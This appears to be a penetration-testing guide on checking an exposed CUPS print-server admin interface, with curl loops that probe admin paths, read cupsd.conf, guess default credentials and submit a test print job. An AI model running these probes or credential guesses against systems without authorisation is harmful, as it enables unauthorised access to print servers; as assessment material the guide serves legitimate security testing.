Skip to content
HackIndex logo

HackIndex

CUPS Admin Interface Exposure

4 min read Apr 4, 2026

The CUPS web admin interface on port 631 manages printers, queues, and print jobs. When accessible without authentication or with default credentials from an untrusted network, it enables adding printers, modifying queue configurations, submitting print jobs, and reading job data. Unauthenticated admin access on an externally reachable host is a critical misconfiguration. Confirm port accessibility through CUPS service detection first.

Test Admin Interface Without Credentials

┌──(kali㉿kali)-[~]
└─$ curl -skI http://$TARGET_IP:631/admin/ | grep -iE 'HTTP|www-authenticate|location' 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure TLS connections; skip certificate verification.
-I Send HEAD request; fetch response headers only.
http://$TARGET_IP:631/admin/ Target URL using variable IP on CUPS admin port 631.
-iE Case-insensitive search with extended regex pattern matching.
'HTTP|www-authenticate|location' Regex to filter HTTP status, auth challenge, and redirect headers.

A 200 response on /admin/ without credentials confirms the admin interface is accessible without authentication — a critical finding. The default CUPS configuration restricts admin access to localhost, so remote access means the ServerAlias or Allow from directives have been misconfigured.

┌──(kali㉿kali)-[~]
└─$ for path in /admin/ /admin/conf/ /admin/log/ /printers/ /classes/ /jobs/; do
code=$(curl -skI http://$TARGET_IP:631$path | grep HTTP | awk '{print $2}')
echo "$code $path"
done 
200 /admin/
200 /admin/conf/
403 /admin/log/
200 /printers/
200 /classes/
200 /jobs/

Access CUPS Configuration File

When /admin/conf/ is accessible, the cupsd.conf configuration file can be read directly — it contains access control rules, TLS settings, and logging configuration:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:631/admin/conf/cupsd.conf 
LogLevel warn
MaxLogSize 0
ErrorPolicy stop-printer

<Location />
  Order allow,deny
  Allow all
</Location>

<Location /admin>
  Order allow,deny
  Allow all
</Location>
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure TLS connections, skipping certificate verification.
http://$TARGET_IP:631/admin/conf/cupsd.conf Target URL pointing to CUPS admin config file on port 631.

Allow all on both / and /admin confirms the misconfiguration — any host can access and manage the CUPS server. This is the configuration that enables the CVE-2024-47176 attack chain when cups-browsed is also running.

Test Default and Common Credentials

When the admin interface returns 401, test common credentials. CUPS admin auth uses the system user credentials on Linux:

┌──(kali㉿kali)-[~]
└─$ for cred in root:root root: admin:admin cups:cups lpadmin:lpadmin root:password; do
code=$(curl -skI -u "$cred" http://$TARGET_IP:631/admin/ | grep HTTP | awk '{print $2}')
echo "$code $cred"
[ "$code" = "200" ] && echo "VALID: $cred"
done 
401 root:root
200 root:
VALID: root:
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allows insecure TLS connections by skipping certificate verification.
-I Sends a HEAD request, fetching only HTTP response headers.
-u "$cred" Passes credentials in user:password format for HTTP Basic Auth.
http://$TARGET_IP:631/admin/ Target URL pointing to the CUPS web admin interface on port 631.

An empty root password is common on embedded systems and older Linux installations. On standard Linux, CUPS admin requires a user in the lpadmin group — the root account is always a member.

Submit a Print Job via IPP

Submitting a print job through the admin interface confirms write access and tests whether the CUPS server processes external print requests:

┌──(kali㉿kali)-[~]
└─$ # List available printers to find a valid queue name
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:631/printers/ | grep -oE 'href="/printers/[^"]+"' 
href="/printers/HP_LaserJet"
Explain command
-s Silent mode; suppresses progress and error output.
-k Allows insecure TLS connections, skipping certificate verification.
http://$TARGET_IP:631/printers/ Target URL pointing to CUPS web interface printer listings.
-oE Outputs only matching text using extended regex syntax.
href="/printers/[^"]+'" Regex pattern to extract printer href paths from HTML response.
┌──(kali㉿kali)-[~]
└─$ # Test job submission with a minimal text document
┌──(kali㉿kali)-[~]
└─$ echo 'pentest-test-job' | lp -h $TARGET_IP:631 -d HP_LaserJet 2>&1 
request id is HP_LaserJet-42 (1 file(s))
Explain command
-h $TARGET_IP:631 Specifies the CUPS server host and port to submit the print job to.
-d HP_LaserJet Specifies the destination printer queue name for the job.
2>&1 Redirects stderr to stdout so all output is captured together.

A job ID returned confirms unauthenticated print job submission is possible. Cancel the test job immediately:

┌──(kali㉿kali)-[~]
└─$ cancel -h $TARGET_IP:631 HP_LaserJet-42
Explain command
-h $TARGET_IP:631 Specifies the CUPS server host and port to connect to.
HP_LaserJet-42 The target print job or printer name to cancel.

References